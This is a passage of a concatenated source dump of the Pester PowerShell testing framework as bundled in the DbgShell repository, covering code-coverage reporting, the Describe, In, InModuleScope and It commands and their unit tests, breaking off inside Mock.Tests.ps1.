Get-CoverageCommandText { param ([System.Management.Automation.Language.Ast] $Ast) $reportParentExtentTypes = @( [System.Management.Automation.Language.ReturnStatementAst] [System.Management.Automation.Language.ThrowStatementAst] [System.Management.Automation.Language.AssignmentStatementAst] [System.Management.Automation.Language.IfStatementAst] ) $parent = Get-ParentNonPipelineAst -Ast $Ast if ($null -ne $parent) { if ($parent -is [System.Management.Automation.Language.HashtableAst]) { return Get-KeyValuePairText -HashtableAst $parent -ChildAst $Ast } elseif ($reportParentExtentTypes -contains $parent.GetType()) { return $parent.Extent.Text } } return $Ast.Extent.Text } function Get-ParentNonPipelineAst { param ([System.Management.Automation.Language.Ast] $Ast) $parent = $null if ($null -ne $Ast) { $parent = $Ast.Parent } while ($parent -is [System.Management.Automation.Language.PipelineAst]) { $parent = $parent.Parent } return $parent } function Get-KeyValuePairText { param ( [System.Management.Automation.Language.HashtableAst] $HashtableAst, [System.Management.Automation.Language.Ast] $ChildAst ) & $SafeCommands['Set-StrictMode'] -Off foreach ($keyValuePair in $HashtableAst.KeyValuePairs) { if ($keyValuePair.Item2.PipelineElements -contains $ChildAst) { return '{0} = {1}' -f $keyValuePair.Item1.Extent.Text, $keyValuePair.Item2.Extent.Text } } # This shouldn't happen, but just in case, default to the old output of just the expression. return $ChildAst.Extent.Text } function Get-CoverageMissedCommands { param ([object[]] $CommandCoverage) $CommandCoverage | & $SafeCommands['Where-Object'] { $_.Breakpoint.HitCount -eq 0 } } function Get-CoverageHitCommands { param ([object[]] $CommandCoverage) $CommandCoverage | & $SafeCommands['Where-Object'] { $_.Breakpoint.HitCount -gt 0 } } function Get-CoverageReport { param ([object] $PesterState) $totalCommandCount = $PesterState.CommandCoverage.Count $missedCommands = @(Get-CoverageMissedCommands -CommandCoverage $PesterState.CommandCoverage | & $SafeCommands['Select-Object'] File, Line, Function, Command) $hitCommands = @(Get-CoverageHitCommands -CommandCoverage $PesterState.CommandCoverage | & $SafeCommands['Select-Object'] File, Line, Function, Command) $analyzedFiles = @($PesterState.CommandCoverage | & $SafeCommands['Select-Object'] -ExpandProperty File -Unique) $fileCount = $analyzedFiles.Count $executedCommandCount = $totalCommandCount - $missedCommands.Count [pscustomobject] @{ NumberOfCommandsAnalyzed = $totalCommandCount NumberOfFilesAnalyzed = $fileCount NumberOfCommandsExecuted = $executedCommandCount NumberOfCommandsMissed = $missedCommands.Count MissedCommands = $missedCommands HitCommands = $hitCommands AnalyzedFiles = $analyzedFiles } } function Show-CoverageReport { param ([object] $CoverageReport) if ($null -eq $CoverageReport -or $CoverageReport.NumberOfCommandsAnalyzed -eq 0) { return } $totalCommandCount = $CoverageReport.NumberOfCommandsAnalyzed $fileCount = $CoverageReport.NumberOfFilesAnalyzed $executedPercent = ($CoverageReport.NumberOfCommandsExecuted / $CoverageReport.NumberOfCommandsAnalyzed).ToString("P2") $commandPlural = $filePlural = '' if ($totalCommandCount -gt 1) { $commandPlural = 's' } if ($fileCount -gt 1) { $filePlural = 's' } $commonParent = Get-CommonParentPath -Path $CoverageReport.AnalyzedFiles $report = $CoverageReport.MissedCommands | & $SafeCommands['Select-Object'] -Property @( @{ Name = 'File'; Expression = { Get-RelativePath -Path $_.File -RelativeTo $commonParent } } 'Function' 'Line' 'Command' ) Write-Screen '' Write-Screen 'Code coverage report:' Write-Screen "Covered $executedPercent of $totalCommandCount analyzed command$commandPlural in $fileCount file$filePlural." if ($CoverageReport.MissedCommands.Count -gt 0) { Write-Screen '' Write-Screen 'Missed commands:' $report | & $SafeCommands['Format-Table'] -AutoSize | & $SafeCommands['Out-String'] | Write-Screen } } function Get-CommonParentPath { param ([string[]] $Path) $pathsToTest = @( $Path | Normalize-Path | & $SafeCommands['Select-Object'] -Unique ) if ($pathsToTest.Count -gt 0) { $parentPath = & $SafeCommands['Split-Path'] -Path $pathsToTest[0] -Parent while ($parentPath.Length -gt 0) { $nonMatches = $pathsToTest -notmatch "^$([regex]::Escape($parentPath))" if ($nonMatches.Count -eq 0) { return $parentPath } else { $parentPath = & $SafeCommands['Split-Path'] -Path $parentPath -Parent } } } return [string]::Empty } function Get-RelativePath { param ( [string] $Path, [string] $RelativeTo ) return $Path -replace "^$([regex]::Escape("$RelativeTo$([System.IO.Path]::DirectorySeparatorChar)"))?" } function Normalize-Path { [CmdletBinding()] param ( [Parameter(ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] [Alias('PSPath', 'FullName')] [string[]] $Path ) # Split-Path and Join-Path will replace any AltDirectorySeparatorChar instances with the DirectorySeparatorChar # (Even if it's not the one that the split / join happens on.) So splitting / rejoining a path will give us # consistent separators for later string comparison. process { if ($null -ne $Path) { foreach ($p in $Path) { $normalizedPath = & $SafeCommands['Split-Path'] $p -Leaf if ($normalizedPath -ne $p) { $parent = & $SafeCommands['Split-Path'] $p -Parent $normalizedPath = & $SafeCommands['Join-Path'] $parent $normalizedPath } $normalizedPath } } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Describe.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe 'Testing Describe' { It 'Has a non-mandatory fixture parameter which throws the proper error message if missing' { $command = Get-Command Describe -Module Pester $command | Should Not Be $null $parameter = $command.Parameters['Fixture'] $parameter | Should Not Be $null # Some environments (Nano/CoreClr) don't have all the type extensions $attribute = $parameter.Attributes | Where-Object { $_ -is [System.Management.Automation.ParameterAttribute] } $isMandatory = $null -ne $attribute -and $attribute.Mandatory $isMandatory | Should Be $false { Describe Bogus } | Should Throw 'No test script block is provided' } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Describe.ps1 ================================================ function Describe { <# .SYNOPSIS Creates a logical group of tests. .DESCRIPTION Creates a logical group of tests. All Mocks and TestDrive contents defined within a Describe block are scoped to that Describe; they will no longer be present when the Describe block exits. A Describe block may contain any number of Context and It blocks. .PARAMETER Name The name of the test group. This is often an expressive phrase describing the scenario being tested. .PARAMETER Fixture The actual test script. If you are following the AAA pattern (Arrange-Act-Assert), this typically holds the arrange and act sections. The Asserts will also lie in this block but are typically nested each in its own It block. Assertions are typically performed by the Should command within the It blocks. .PARAMETER Tag Optional parameter containing an array of strings. When calling Invoke-Pester, it is possible to specify a -Tag parameter which will only execute Describe blocks containing the same Tag. .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { It "adds positive numbers" { $sum = Add-Numbers 2 3 $sum | Should Be 5 } It "adds negative numbers" { $sum = Add-Numbers (-2) (-2) $sum | Should Be (-4) } It "adds one negative number to positive number" { $sum = Add-Numbers (-2) 2 $sum | Should Be 0 } It "concatenates strings if given strings" { $sum = Add-Numbers two three $sum | Should Be "twothree" } } .LINK It Context Invoke-Pester about_Should about_Mocking about_TestDrive #> param( [Parameter(Mandatory = $true, Position = 0)] [string] $Name, [Alias('Tags')] [string[]] $Tag=@(), [Parameter(Position = 1)] [ValidateNotNull()] [ScriptBlock] $Fixture = $(Throw "No test script block is provided. (Have you put the open curly brace on the next line?)") ) if ($null -eq (& $SafeCommands['Get-Variable'] -Name Pester -ValueOnly -ErrorAction $script:IgnoreErrorPreference)) { # User has executed a test script directly instead of calling Invoke-Pester $Pester = New-PesterState -Path (& $SafeCommands['Resolve-Path'] .) -TestNameFilter $null -TagFilter @() -SessionState $PSCmdlet.SessionState $script:mockTable = @{} } if($Pester.TestNameFilter-and -not ($Pester.TestNameFilter | & $SafeCommands['Where-Object'] { $Name -like $_ })) { #skip this test return } #TODO add test to test tags functionality if($Pester.TagFilter -and @(& $SafeCommands['Compare-Object'] $Tag $Pester.TagFilter -IncludeEqual -ExcludeDifferent).count -eq 0) {return} if($Pester.ExcludeTagFilter -and @(& $SafeCommands['Compare-Object'] $Tag $Pester.ExcludeTagFilter -IncludeEqual -ExcludeDifferent).count -gt 0) {return} $Pester.EnterDescribe($Name) $Pester.CurrentDescribe | Write-Describe $testDriveAdded = $false try { New-TestDrive $testDriveAdded = $true Add-SetupAndTeardown -ScriptBlock $Fixture Invoke-TestGroupSetupBlocks -Scope $pester.Scope do { $null = & $Fixture } until ($true) } catch { $firstStackTraceLine = $_.InvocationInfo.PositionMessage.Trim() -split '\r?\n' | & $SafeCommands['Select-Object'] -First 1 $Pester.AddTestResult('Error occurred in Describe block', "Failed", $null, $_.Exception.Message, $firstStackTraceLine, $null, $null, $_) $Pester.TestResult[-1] | Write-PesterResult } finally { Invoke-TestGroupTeardownBlocks -Scope $pester.Scope if ($testDriveAdded) { Remove-TestDrive } Clear-SetupAndTeardown Exit-MockScope $Pester.LeaveDescribe() } } function Assert-DescribeInProgress { param ($CommandName) if ($null -eq $Pester -or [string]::IsNullOrEmpty($Pester.CurrentDescribe)) { throw "The $CommandName command may only be used inside a Describe block." } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/GlobalMock-A.Tests.ps1 ================================================ # This script exists to create and mock a global function, then exit. The actual behavior # that we need to test is covered in GlobalMock-B.Tests.ps1, where we make sure that the # global function was properly restored in its scope. $functionName = '01c1a57716fe4005ac1a7bf216f38ad0' if (Test-Path Function:\$functionName) { Remove-Item Function:\$functionName -Force -ErrorAction Stop } function global:01c1a57716fe4005ac1a7bf216f38ad0 { return 'Original Function' } function script:Testing { return 'Script scope' } Describe 'Mocking Global Functions - Part One' { Mock $functionName { return 'Mocked' } It 'Mocks the global function' { & $functionName | Should Be 'Mocked' } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/GlobalMock-B.Tests.ps1 ================================================ # This test depends on some state set up in GlobalMock-A.Tests.ps1. The behavior we're verifying # is that global functions that have been mocked are still properly set up even after the test # script exits its scope. $functionName = '01c1a57716fe4005ac1a7bf216f38ad0' try { Describe 'Mocking Global Functions - Part Two' { It 'Restored the global function properly' { $globalFunctionExists = Test-Path Function:\global:$functionName $globalFunctionExists | Should Be $true & $functionName | Should Be 'Original Function' } } } finally { if (Test-Path Function:\$functionName) { Remove-Item Function:\$functionName -Force } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/In.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "the In statement" { Setup -Dir "test_path" It "executes a command in that directory" { In "$TestDrive" -Execute { "" | Out-File "test_file" } "$TestDrive\test_file" | Should Exist } It "updates the `$pwd variable when executed" { In "$TestDrive\test_path" -Execute { $env:Pester_Test=$pwd } $env:Pester_Test | Should Match "test_path" $env:Pester_Test="" } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/In.ps1 ================================================ function In { <# .SYNOPSIS A convenience function that executes a script from a specified path. .DESCRIPTION Before the script block passed to the execute parameter is invoked, the current location is set to the path specified. Once the script block has been executed, the location will be reset to the location the script was in prior to calling In. .PARAMETER Path The path that the execute block will be executed in. .PARAMETER execute The script to be executed in the path provided. #> param( $path, [ScriptBlock] $execute ) Assert-DescribeInProgress -CommandName In $old_pwd = $pwd & $SafeCommands['Push-Location'] $path $pwd = $path try { & $execute } finally { & $SafeCommands['Pop-Location'] $pwd = $old_pwd } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/InModuleScope.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe "Module scope separation" { Context "When users define variables with the same name as Pester parameters" { $test = "This is a test." It "does not hide user variables" { $test | Should Be 'This is a test.' } } It "Does not expose Pester implementation details to the SUT" { # Changing the Get-PesterResult function's name would cause this test to pass artificially. # TODO : come up with a better way of verifying that only the desired commands from the Pester # module are visible to the SUT. (Get-Item function:\Get-PesterResult -ErrorAction SilentlyContinue) | Should Be $null } } Describe "Executing test code inside a module" { New-Module -Name TestModule { function InternalFunction { 'I am the internal function' } function PublicFunction { InternalFunction } Export-ModuleMember -Function PublicFunction } | Import-Module -Force It "Cannot call module internal functions, by default" { { InternalFunction } | Should Throw } InModuleScope TestModule { It "Can call module internal functions using InModuleScope" { InternalFunction | Should Be 'I am the internal function' } It "Can mock functions inside the module without using Mock -ModuleName" { Mock InternalFunction { 'I am the mock function.' } InternalFunction | Should Be 'I am the mock function.' } } Remove-Module TestModule -Force } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/InModuleScope.ps1 ================================================ function InModuleScope { <# .SYNOPSIS Allows you to execute parts of a test script within the scope of a PowerShell script module. .DESCRIPTION By injecting some test code into the scope of a PowerShell script module, you can use non-exported functions, aliases and variables inside that module, to perform unit tests on its internal implementation. InModuleScope may be used anywhere inside a Pester script, either inside or outside a Describe block. .PARAMETER ModuleName The name of the module into which the test code should be injected. This module must already be loaded into the current PowerShell session. .PARAMETER ScriptBlock The code to be executed within the script module. .EXAMPLE # The script module: function PublicFunction { # Does something } function PrivateFunction { return $true } Export-ModuleMember -Function PublicFunction # The test script: Import-Module MyModule InModuleScope MyModule { Describe 'Testing MyModule' { It 'Tests the Private function' { PrivateFunction | Should Be $true } } } Normally you would not be able to access "PrivateFunction" from the PowerShell session, because the module only exported "PublicFunction". Using InModuleScope allowed this call to "PrivateFunction" to work successfully. #> [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $ModuleName, [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) if ($null -eq (& $SafeCommands['Get-Variable'] -Name Pester -ValueOnly -ErrorAction $script:IgnoreErrorPreference)) { # User has executed a test script directly instead of calling Invoke-Pester $Pester = New-PesterState -Path (& $SafeCommands['Resolve-Path'] .) -TestNameFilter $null -TagFilter @() -ExcludeTagFilter @() -SessionState $PSCmdlet.SessionState $script:mockTable = @{} } $module = Get-ScriptModule -ModuleName $ModuleName -ErrorAction Stop $originalState = $Pester.SessionState $originalScriptBlockScope = Get-ScriptBlockScope -ScriptBlock $ScriptBlock try { $Pester.SessionState = $module.SessionState Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionState $module.SessionState do { & $ScriptBlock } until ($true) } finally { $Pester.SessionState = $originalState Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionStateInternal $originalScriptBlockScope } } function Get-ScriptModule { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $ModuleName ) try { $modules = @(& $SafeCommands['Get-Module'] -Name $ModuleName -All -ErrorAction Stop) } catch { throw "No module named '$ModuleName' is currently loaded." } $scriptModules = @($modules | & $SafeCommands['Where-Object'] { $_.ModuleType -eq 'Script' }) if ($scriptModules.Count -gt 1) { throw "Multiple Script modules named '$ModuleName' are currently loaded. Make sure to remove any extra copies of the module from your session before testing." } if ($scriptModules.Count -eq 0) { $actualTypes = @( $modules | & $SafeCommands['Where-Object'] { $_.ModuleType -ne 'Script' } | & $SafeCommands['Select-Object'] -ExpandProperty ModuleType -Unique ) $actualTypes = $actualTypes -join ', ' throw "Module '$ModuleName' is not a Script module. Detected modules of the following types: '$actualTypes'" } return $scriptModules[0] } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/It.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe 'Get-PesterResult' { } Describe 'It - Implementation' { $testState = New-PesterState -Path $TestDrive It 'Throws an error if It is called outside of Describe' { $scriptBlock = { ItImpl -Pester $testState 'Tries to enter a test without entering a Describe first' { } } $scriptBlock | Should Throw 'The It command may only be used inside a Describe block.' } $testState.EnterDescribe('Mocked Describe') # We call EnterTest() directly here because if we actually nest calls to ItImpl, the outer call will catch the error we're trying to # verify with Should Throw. (Another option would be to nest the ItImpl calls, and look for a failed test result in $testState.) $testState.EnterTest('Outer Test') It 'Throws an error if you try to enter It from inside another It' { $scriptBlock = { ItImpl -Pester $testState 'Enters the second It' { } } $scriptBlock | Should Throw 'You already are in It, you cannot enter It twice' } $testState.LeaveTest() It 'Throws an error if you fail to pass in a test block' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' } $scriptBlock | Should Throw 'No test script block is provided. (Have you put the open curly brace on the next line?)' } It 'Does not throw an error if It is called inside a Describe, and adds a successful test result.' { $scriptBlock = { ItImpl -Pester $testState 'Enters an It block inside a Describe' { } } $scriptBlock | Should Not Throw $testState.TestResult[-1].Passed | Should Be $true $testState.TestResult[-1].ParameterizedSuiteName | Should BeNullOrEmpty } It 'Does not throw an error if the -Pending switch is used, and no script block is passed' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' -Pending } $scriptBlock | Should Not Throw } It 'Does not throw an error if the -Skip switch is used, and no script block is passed' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' -Skip } $scriptBlock | Should Not Throw } It 'Does not throw an error if the -Ignore switch is used, and no script block is passed' { $scriptBlock = { ItImpl -Pester $testState 'Some Name' -Ignore } $scriptBlock | Should Not Throw } It 'Creates a pending test for an empty (whitespace and comments only) script block' { $scriptBlock = { # Single-Line comment <# Multi- Line- Comment #> } { ItImpl -Pester $testState 'Some Name' $scriptBlock } | Should Not Throw $testState.TestResult[-1].Result | Should Be 'Pending' } It 'Adds a failed test if the script block throws an exception' { $scriptBlock = { ItImpl -Pester $testState 'Enters an It block inside a Describe' { throw 'I am a failed test' } } $scriptBlock | Should Not Throw $testState.TestResult[-1].Passed | Should Be $false $testState.TestResult[-1].ParameterizedSuiteName | Should BeNullOrEmpty $testState.TestResult[-1].FailureMessage | Should Be 'I am a failed test' } $script:counterNameThatIsReallyUnlikelyToConflictWithAnything = 0 It 'Calls the output script block for each test' { $outputBlock = { $script:counterNameThatIsReallyUnlikelyToConflictWithAnything++ } ItImpl -Pester $testState 'Does something' -OutputScriptBlock $outputBlock { } ItImpl -Pester $testState 'Does something' -OutputScriptBlock $outputBlock { } ItImpl -Pester $testState 'Does something' -OutputScriptBlock $outputBlock { } $script:counterNameThatIsReallyUnlikelyToConflictWithAnything | Should Be 3 } Remove-Variable -Scope Script -Name counterNameThatIsReallyUnlikelyToConflictWithAnything Context 'Parameterized Tests' { # be careful about variable naming here; with InModuleScope Pester, we can create the same types of bugs that the v3 # scope isolation fixed for everyone else. (Naming this variable $testCases gets hidden later by parameters of the # same name in It.) $cases = @( @{ a = 1; b = 1; expectedResult = 2} @{ a = 1; b = 2; expectedResult = 3} @{ a = 5; b = 4; expectedResult = 9} @{ a = 1; b = 1; expectedResult = 'Intentionally failed' } ) $suiteName = 'Adds and to get . is not a parameter.' ItImpl -Pester $testState -Name $suiteName -TestCases $cases { param ($a, $b, $expectedResult) ($a + $b) | Should Be $expectedResult } It 'Creates test result records with the ParameterizedSuiteName property set' { for ($i = -1; $i -ge -4; $i--) { $testState.TestResult[$i].ParameterizedSuiteName | Should Be $suiteName } } It 'Expands parameters in parameterized test suite names' { for ($i = -1; $i -ge -4; $i--) { $expectedName = "Adds $($cases[$i]['a']) and $($cases[$i]['b']) to get $($cases[$i]['expectedResult']). is not a parameter." $testState.TestResult[$i].Name | Should Be $expectedName } } It 'Logs the proper successes and failures' { $testState.TestResult[-1].Passed | Should Be $false for ($i = -2; $i -ge -4; $i--) { $testState.TestResult[$i].Passed | Should Be $true } } } } Describe 'Get-OrderedParameterDictionary' { $_testScriptBlock = { param ( $1, $c, $0, $z, $a, ${Something.Really/Weird } ) } $hashtable = @{ '1' = 'One' '0' = 'Zero' z = 'Z' a = 'A' c = 'C' 'Something.Really/Weird ' = 'Weird' } $dictionary = Get-OrderedParameterDictionary -ScriptBlock $_testScriptBlock -Dictionary $hashtable It 'Reports keys and values in the same order as the param block' { ($dictionary.Keys -join ',') | Should Be '1,c,0,z,a,Something.Really/Weird ' ($dictionary.Values -join ',') | Should Be 'One,C,Zero,Z,A,Weird' } } Describe 'Remove-Comments' { It 'Removes single line comments' { Remove-Comments -Text 'code #comment' | Should Be 'code ' } It 'Removes multi line comments' { Remove-Comments -Text 'code <#comment comment#> code' | Should Be 'code code' } } } $thisScriptRegex = [regex]::Escape($MyInvocation.MyCommand.Path) Describe 'Get-PesterResult' { $getPesterResult = InModuleScope Pester { ${function:Get-PesterResult} } Context 'failed tests in Tests file' { #the $script scriptblock below is used as a position marker to determine #on which line the test failed. $errorRecord = $null try{'something' | should be 'nothing'}catch{ $errorRecord=$_} ; $script={} $result = & $getPesterResult 0 $errorRecord It 'records the correct stack line number' { $result.Stacktrace | should match "at line: $($script.startPosition.StartLine) in $thisScriptRegex" } It 'records the correct error record' { $result.ErrorRecord -is [System.Management.Automation.ErrorRecord] | Should be $true $result.ErrorRecord.Exception.Message | Should match 'Expected: {nothing}' } } It 'Does not modify the error message from the original exception' { $object = New-Object psobject $message = 'I am an error.' Add-Member -InputObject $object -MemberType ScriptMethod -Name ThrowSomething -Value { throw $message } $errorRecord = $null try { $object.ThrowSomething() } catch { $errorRecord = $_ } $pesterResult = & $getPesterResult 0 $errorRecord $pesterResult.FailureMessage | Should Be $errorRecord.Exception.Message } Context 'failed tests in another file' { $errorRecord = $null $testPath = Join-Path $TestDrive test.ps1 $escapedTestPath = [regex]::Escape($testPath) Set-Content -Path $testPath -Value "`r`n'One' | Should Be 'Two'" try { & $testPath } catch { $errorRecord = $_ } $result = & $getPesterResult 0 $errorRecord It 'records the correct stack line number' { $result.Stacktrace | should match "at line: 2 in $escapedTestPath" } It 'records the correct error record' { $result.ErrorRecord -is [System.Management.Automation.ErrorRecord] | Should be $true $result.ErrorRecord.Exception.Message | Should match 'Expected: {Two}' } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/It.ps1 ================================================ function It { <# .SYNOPSIS Validates the results of a test inside of a Describe block. .DESCRIPTION The It command is intended to be used inside of a Describe or Context Block. If you are familiar with the AAA pattern (Arrange-Act-Assert), the body of the It block is the appropriate location for an assert. The convention is to assert a single expectation for each It block. The code inside of the It block should throw a terminating error if the expectation of the test is not met and thus cause the test to fail. The name of the It block should expressively state the expectation of the test. In addition to using your own logic to test expectations and throw exceptions, you may also use Pester's Should command to perform assertions in plain language. .PARAMETER Name An expressive phrase describing the expected test outcome. .PARAMETER Test The script block that should throw an exception if the expectation of the test is not met.If you are following the AAA pattern (Arrange-Act-Assert), this typically holds the Assert. .PARAMETER Pending Use this parameter to explicitly mark the test as work-in-progress/not implemented/pending when you need to distinguish a test that fails because it is not finished yet from a tests that fail as a result of changes being made in the code base. An empty test, that is a test that contains nothing except whitespace or comments is marked as Pending by default. .PARAMETER Skip Use this parameter to explicitly mark the test to be skipped. This is preferable to temporarily commenting out a test, because the test remains listed in the output. Use the Strict parameter of Invoke-Pester to force all skipped tests to fail. .PARAMETER TestCases Optional array of hashtable (or any IDictionary) objects. If this parameter is used, Pester will call the test script block once for each table in the TestCases array, splatting the dictionary to the test script block as input. If you want the name of the test to appear differently for each test case, you can embed tokens into the Name parameter with the syntax 'Adds numbers and ' (assuming you have keys named A and B in your TestCases hashtables.) .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { It "adds positive numbers" { $sum = Add-Numbers 2 3 $sum | Should Be 5 } It "adds negative numbers" { $sum = Add-Numbers (-2) (-2) $sum | Should Be (-4) } It "adds one negative number to positive number" { $sum = Add-Numbers (-2) 2 $sum | Should Be 0 } It "concatenates strings if given strings" { $sum = Add-Numbers two three $sum | Should Be "twothree" } } .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { $testCases = @( @{ a = 2; b = 3; expectedResult = 5 } @{ a = -2; b = -2; expectedResult = -4 } @{ a = -2; b = 2; expectedResult = 0 } @{ a = 'two'; b = 'three'; expectedResult = 'twothree' } ) It 'Correctly adds and to get ' -TestCases $testCases { param ($a, $b, $expectedResult) $sum = Add-Numbers $a $b $sum | Should Be $expectedResult } } .LINK Describe Context about_should #> [CmdletBinding(DefaultParameterSetName = 'Normal')] param( [Parameter(Mandatory = $true, Position = 0)] [string]$name, [Parameter(Position = 1)] [ScriptBlock] $test = {}, [System.Collections.IDictionary[]] $TestCases, [Parameter(ParameterSetName = 'Pending')] [Switch] $Pending, [Parameter(ParameterSetName = 'Skip')] [Alias('Ignore')] [Switch] $Skip ) ItImpl -Pester $pester -OutputScriptBlock ${function:Write-PesterResult} @PSBoundParameters } function ItImpl { [CmdletBinding(DefaultParameterSetName = 'Normal')] param( [Parameter(Mandatory = $true, Position=0)] [string]$name, [Parameter(Position = 1)] [ScriptBlock] $test, [System.Collections.IDictionary[]] $TestCases, [Parameter(ParameterSetName = 'Pending')] [Switch] $Pending, [Parameter(ParameterSetName = 'Skip')] [Alias('Ignore')] [Switch] $Skip, $Pester, [scriptblock] $OutputScriptBlock ) Assert-DescribeInProgress -CommandName It # Jumping through hoops to make strict mode happy. if ($PSCmdlet.ParameterSetName -ne 'Skip') { $Skip = $false } if ($PSCmdlet.ParameterSetName -ne 'Pending') { $Pending = $false } #unless Skip or Pending is specified you must specify a ScriptBlock to the Test parameter if (-not ($PSBoundParameters.ContainsKey('test') -or $Skip -or $Pending)) { throw 'No test script block is provided. (Have you put the open curly brace on the next line?)' } #the function is called with Pending or Skipped set the script block if needed if ($null -eq $test) { $test = {} } #mark empty Its as Pending #[String]::IsNullOrWhitespace is not available in .NET version used with PowerShell 2 if ($PSCmdlet.ParameterSetName -eq 'Normal' -and [String]::IsNullOrEmpty((Remove-Comments $test.ToString()) -replace "\s")) { $Pending = $true } $pendingSkip = @{} if ($PSCmdlet.ParameterSetName -eq 'Skip') { $pendingSkip['Skip'] = $Skip } else { $pendingSkip['Pending'] = $Pending } if ($null -ne $TestCases -and $TestCases.Count -gt 0) { foreach ($testCase in $TestCases) { $expandedName = [regex]::Replace($name, '<([^>]+)>', { $capture = $args[0].Groups[1].Value if ($testCase.Contains($capture)) { $testCase[$capture] } else { "<$capture>" } }) $splat = @{ Name = $expandedName Scriptblock = $test Parameters = $testCase ParameterizedSuiteName = $name OutputScriptBlock = $OutputScriptBlock } Invoke-Test @splat @pendingSkip } } else { Invoke-Test -Name $name -ScriptBlock $test @pendingSkip -OutputScriptBlock $OutputScriptBlock } } function Invoke-Test { [CmdletBinding(DefaultParameterSetName = 'Normal')] param ( [Parameter(Mandatory = $true)] [string] $Name, [Parameter(Mandatory = $true)] [ScriptBlock] $ScriptBlock, [scriptblock] $OutputScriptBlock, [System.Collections.IDictionary] $Parameters, [string] $ParameterizedSuiteName, [Parameter(ParameterSetName = 'Pending')] [Switch] $Pending, [Parameter(ParameterSetName = 'Skip')] [Alias('Ignore')] [Switch] $Skip ) if ($null -eq $Parameters) { $Parameters = @{} } $Pester.EnterTest($Name) try { if ($Skip) { $Pester.AddTestResult($Name, "Skipped", $null) } elseif ($Pending) { $Pester.AddTestResult($Name, "Pending", $null) } else { & $SafeCommands['Write-Progress'] -Activity "Running test '$Name'" -Status Processing $errorRecord = $null try { Invoke-TestCaseSetupBlocks do { $null = & $ScriptBlock @Parameters } until ($true) } catch { $errorRecord = $_ } finally { #guarantee that the teardown action will run and prevent it from failing the whole suite try { if (-not ($Skip -or $Pending)) { Invoke-TestCaseTeardownBlocks } } catch { $errorRecord = $_ } } $result = Get-PesterResult -ErrorRecord $errorRecord $orderedParameters = Get-OrderedParameterDictionary -ScriptBlock $ScriptBlock -Dictionary $Parameters $Pester.AddTestResult( $result.name, $result.Result, $null, $result.FailureMessage, $result.StackTrace, $ParameterizedSuiteName, $orderedParameters, $result.ErrorRecord ) & $SafeCommands['Write-Progress'] -Activity "Running test '$Name'" -Completed -Status Processing } } finally { Exit-MockScope $Pester.LeaveTest() } if ($null -ne $OutputScriptBlock) { $Pester.testresult[-1] | & $OutputScriptBlock } } function Get-PesterResult { param( [Nullable[TimeSpan]] $Time, [System.Management.Automation.ErrorRecord] $ErrorRecord ) $testResult = @{ name = $name time = $time failureMessage = "" stackTrace = "" ErrorRecord = $null success = $false result = "Failed" }; if(-not $ErrorRecord) { $testResult.Result = "Passed" $testResult.success = $true return $testResult } if ($ErrorRecord.FullyQualifiedErrorID -eq 'PesterAssertionFailed') { # we use TargetObject to pass structured information about the error. $details = $ErrorRecord.TargetObject $failureMessage = $details.Message $file = $details.File $line = $details.Line $lineText = "`n$line`: $($details.LineText)" } elseif ($ErrorRecord.FullyQualifiedErrorId -eq 'PesterTestInconclusive') { # we use TargetObject to pass structured information about the error. $details = $ErrorRecord.TargetObject $failureMessage = $details.Message $file = $details.File $line = $details.Line $lineText = "`n$line`: $($details.LineText)" $testResult.Result = 'Inconclusive' } else { $failureMessage = $ErrorRecord.ToString() $file = $ErrorRecord.InvocationInfo.ScriptName $line = $ErrorRecord.InvocationInfo.ScriptLineNumber $lineText = '' } $testResult.failureMessage = $failureMessage $testResult.stackTrace = "at line: $line in ${file}${lineText}" $testResult.ErrorRecord = $ErrorRecord return $testResult } function Remove-Comments ($Text) { $text -replace "(?s)(<#.*#>)" -replace "\#.*" } function Get-OrderedParameterDictionary { [OutputType([System.Collections.IDictionary])] param ( [scriptblock] $ScriptBlock, [System.Collections.IDictionary] $Dictionary ) $parameters = Get-ParameterDictionary -ScriptBlock $ScriptBlock $orderedDictionary = & $SafeCommands['New-Object'] System.Collections.Specialized.OrderedDictionary foreach ($parameterName in $parameters.Keys) { $value = $null if ($Dictionary.ContainsKey($parameterName)) { $value = $Dictionary[$parameterName] } $orderedDictionary[$parameterName] = $value } return $orderedDictionary } function Get-ParameterDictionary { param ( [scriptblock] $ScriptBlock ) $guid = [guid]::NewGuid().Guid try { & $SafeCommands['Set-Content'] function:\$guid $ScriptBlock $metadata = [System.Management.Automation.CommandMetadata](& $SafeCommands['Get-Command'] -Name $guid -CommandType Function) return $metadata.Parameters } finally { if (& $SafeCommands['Test-Path'] function:\$guid) { & $SafeCommands['Remove-Item'] function:\$guid } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Mock.Tests.ps1 ================================================ Set-StrictMode -Version Latest function FunctionUnderTest { [CmdletBinding()] param ( [Parameter(Mandatory=$false)] [string] $param1 ) return "I am a real world test" } function FunctionUnderTestWithoutParams([string]$param1) { return "I am a real world test with no params" } filter FilterUnderTest { $_ } function CommonParamFunction ( [string] 